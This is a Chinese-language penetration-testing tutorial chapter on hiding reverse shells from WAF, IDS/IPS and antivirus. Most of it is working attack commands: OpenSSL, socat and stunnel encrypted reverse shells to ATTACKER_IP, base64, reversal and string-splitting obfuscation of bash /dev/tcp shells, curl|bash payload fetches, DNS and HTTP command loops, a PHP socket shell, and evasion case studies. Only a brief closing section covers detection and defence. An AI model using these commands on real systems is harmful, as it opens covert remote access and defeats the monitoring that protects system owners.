反弹Shell加密与混淆

在实际渗透测试中,普通的明文反弹Shell很容易被WAF、IDS/IPS、杀毒软件等安全设备检测和拦截。本章介绍如何通过加密和混淆技术来规避检测,确保反弹Shell通道的安全性和隐蔽性。


OpenSSL加密Shell

原理说明

OpenSSL可以创建加密的TLS/SSL通道,使得反弹Shell的流量在传输过程中被加密,防止被中间人窃听和检测。

生成证书

# 生成自签名证书
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt -subj "/CN=localhost"
 
# 合并为PEM文件
cat shell.key shell.crt > shell.pem

加密反弹Shell(一)

# 攻击者监听(使用openssl)
openssl s_server -quiet -key shell.key -cert shell.crt -port 4444
 
# 或更完整的监听方式
ncat --ssl -lvp 4444

加密反弹Shell(二)

# 目标执行(使用openssl)
RHOST=ATTACKER_IP
RPORT=4444
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s

加密反弹Shell(三)

# 更可靠的版本
mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | openssl s_client -connect ATTACKER_IP:4444 -quiet > /tmp/f

Socat SSL加密

生成Socat证书

# 生成CA证书
openssl req -newkey rsa:2048 -nodes -keyout ca.key -x509 -days 365 -out ca.crt -subj "/CN=CA"
 
# 生成服务器证书
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=server"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 365
cat server.key server.crt > server.pem

Socat SSL监听

# 攻击者监听
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0 STDOUT

Socat SSL反弹

# 目标执行
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Socat SSL详细配置

# 攻击者 - 完整监听脚本
#!/bin/bash
# ssl_listener.sh
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0,reuseaddr,fork SYSTEM:"echo 'Connection from:'; id"

Stunnel隧道加密

安装Stunnel

# Debian/Ubuntu
sudo apt install stunnel4
 
# CentOS/RHEL
sudo yum install stunnel
 
# macOS
brew install stunnel

Stunnel服务端配置

# /etc/stunnel/stunnel.conf
[reverse]
accept = 4444
connect = 127.0.0.1:4445
cert = /etc/stunnel/cert.pem

Stunnel客户端配置

# client.conf
[reverse]
accept = 127.0.0.1:4445
connect = ATTACKER_IP:4444
client = yes

使用Stunnel建立加密通道

# 攻击者
stunnel stunnel.conf
nc -lvnp 4445
 
# 目标
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f

Base64编码绕过

编码命令绕过关键字检测

# 编码反弹shell命令
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64
 
# 目标执行解码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE= | base64 -d | bash

多层编码

# 二重编码
CMD=$(echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64)
echo "$CMD" | base64
 
# 目标执行
echo WmJGemF... | base64 -d | base64 -d | bash

Base64 + 反转

# 反转字符串再编码
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | rev | base64
 
# 目标执行
echo YTI... | base64 -d | rev | bash

关键字混淆技术

拆分字符串

# 方法1:变量拼接
a="ba"
b="sh"
c=" -i"
${a}${b}${c}
 
# 方法2:使用特殊变量
${0:0:1}  # 获取'/'($0的第一个字符)

避免常见检测关键字

# 避免"bash"关键字
/bin/b?sh -i
/bin/ba''sh -i
/bin/bash -c "bash -i >& /dev/tcp/IP/4444 0>&1"
 
# 避免"/dev/tcp"
exec 5<>/dev/tcp/IP/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
 
# 使用环境变量
X=/dev/tc
Y=p
Z=/IP/4444
${X}${Y}${Z}

使用通配符

# 通配符构造路径
/bin/b??  # /bin/bash
/dev/t?c  # /dev/tcp

WAF绕过技巧

1. 大小写混淆

# 混合大小写
BaSh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
 
# Python中
ImPoRt SoCkEt

2. 插入注释或特殊字符

# 在命令中插入注释
bas'h' -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
b"a"sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

3. 使用编码

# 使用printf解码
printf "\x62\x61\x73\x68\x20\x2d\x69" | bash
 
# 使用$'\x'格式
$'\x62\x61\x73\x68' -i

4. 利用内置命令

# 使用bash内置命令
exec /bin/ba'sh' -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
 
# 使用eval
eval "$(echo 'YmFzaCAtaSA+...' | base64 -d)"

5. 分段传输

# 将命令分成多段传输
echo "bash " > /tmp/cmd
echo "-i " >> /tmp/cmd
echo ">& /dev/tcp/" >> /tmp/cmd
echo "ATTACKER_IP/4444 " >> /tmp/cmd
echo "0>&1" >> /tmp/cmd
bash /tmp/cmd

6. 使用环境变量混淆

# 设置环境变量
export RHOST="ATTACKER_IP"
export RPORT="4444"
 
# 使用环境变量构造命令
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1

7. 利用命令替换

# 使用命令替换
$(printf 'bash -i >& /dev/tcp/%s/%d 0>&1' ATTACKER_IP 4444)
 
# 使用反引号
`printf 'bash -i >& /dev/tcp/%s/%d 0>&1' ATTACKER_IP 4444`

高级混淆技巧

1. 使用CURL反弹

# 通过HTTP协议反弹
curl -s http://ATTACKER_IP/shell.sh | bash
 
# 或使用wget
wget -qO- http://ATTACKER_IP/shell.sh | bash

2. 使用DNS隧道

# 通过DNS查询传递数据
# 攻击者需要搭建DNS服务器
dig TXT @ATTACKER_IP cmd.shell
 
# 目标执行
DOMAIN="shell.attacker.com"
while true; do
    CMD=$(dig +short TXT $DOMAIN)
    RESULT=$(eval $CMD 2>&1)
    dig $RESULT.$DOMAIN @ATTACKER_IP > /dev/null 2>&1
    sleep 5
done

3. 使用ICMP隧道

# 通过ICMP包传递数据(需要特殊工具如icmpsh)
# 攻击者
icmpsh -t TARGET_IP
 
# 目标
icmpsh

4. 使用HTTP隧道

# 使用HTTP协议封装Shell流量
# 攻击者 - 简单HTTP服务器
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import os, subprocess
 
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/cmd':
            cmd = self.headers.get('X-Cmd')
            if cmd:
                result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
                self.send_response(200)
                self.end_headers()
                self.wfile.write(result.stdout.encode())
                self.wfile.write(result.stderr.encode())
        else:
            self.send_response(404)
            self.end_headers()
 
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"
 
# 目标
while true; do
    CMD=$(curl -s -H "X-Cmd: id" http://ATTACKER_IP:8080/cmd)
    echo $CMD
    sleep 10
done

检测与防御

如何检测加密反弹Shell

  1. 流量分析:监控异常的SSL/TLS连接(自签名证书、异常端口)
  2. 行为分析:检测异常的出站连接模式
  3. 进程监控:关注异常的bash/python/perl进程
  4. 日志分析:分析系统日志中的异常活动

防御建议

  1. 网络分段:限制内网主机的出站连接
  2. DLP部署:部署数据防泄漏系统
  3. EDR部署:部署端点检测与响应系统
  4. 定期审计:定期审计系统进程和网络连接

工具推荐

工具用途安装方式
socat多功能网络工具apt install socat
stunnelSSL隧道apt install stunnel4
ncat增强版netcatapt install ncat
openssl加密工具系统自带
chiselHTTP隧道GitHub下载

实战案例

案例1:绕过基础WAF

目标:Web服务器运行Apache,有基础WAF防护

# 使用SSL加密绕过
# 攻击者
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 STDOUT
 
# 目标 - 利用PHP执行
php -r '$sock=fsockopen("ATTACKER_IP",443);exec("/bin/bash -i <&3 >&3 2>&3");'

案例2:内网穿透

目标:内网服务器,无法直接访问外网

# 使用DNS隧道作为跳板
# 在跳板机上
dnscat2-server attacker.com
 
# 在目标上
dnscat2 attacker.com

案例3:绕过流量检测

目标:有IDS/IPS监控所有出站流量

# 使用HTTPS流量伪装
# 攻击者 - 启动HTTPS服务器
python3 -c "
import http.server, ssl
server = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)
server.socket = ssl.wrap_socket(server.socket, certfile='cert.pem', server_side=True)
server.serve_forever()
"
 
# 目标 - 通过HTTPS反弹
curl -k https://ATTACKER_IP/shell.sh | bash

最后更新:2026-08-22